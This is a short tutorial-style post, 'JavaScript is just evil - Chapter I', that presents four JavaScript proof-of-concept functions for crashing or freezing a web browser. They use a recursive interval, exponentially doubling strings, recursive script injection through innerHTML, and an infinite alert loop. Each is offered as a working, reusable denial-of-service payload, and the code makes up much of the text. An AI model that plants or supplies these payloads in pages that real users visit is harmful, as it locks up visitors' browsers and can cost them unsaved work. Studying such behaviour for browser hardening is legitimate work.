JavaScript is just evil - Chapter I [ Killing the browser ]

The posibility to make a DoS in a browser is trivial, that's why in this document we will show multiple ways of killing a browser. The PoC's are exportable, anyway they may behave diferent.

Kill your browser with Intervals.

This will be done via a recursion hidden inside an Interval, this will start consuming resources until the memory get exhausted, because intervals require so a small ammount of memory, the time needed to get the "out of memory" error is proportional to you RAM..

	function withIntervals(){
		setInterval(withIntervals,1);
	}

Kill your browser with Big Vars.

This will try to alocate a lot of memory, and try to even get more.. this will not crash your browser, just make it "unavailable" for a long while.

	function withBigVars(){
		try{
			var f="pwned";
			while(1){
				f+=f;
			}
		}catch(e){
			try{
				return f+withBigVars();
			}catch(e){
				return f;
			}
		}
	}

Kill your browser with Infinite Document Loading.

This will make a script that will try to load again the same function, this works as another "hidden" recursion.

	function withDocWriting(){
		document.getElementById("fx").innerHTML+=("<scri"+"pt>withDocWriting();</scr"+"ipt>");
		try{
			withDocWriting();
		}catch(e){}
	}

Kill your browser with an Alert Loop.

The simplest PoC of DoS.. an infinite loop.

	function withAlertLoop(){
		while(!alert(""));
	}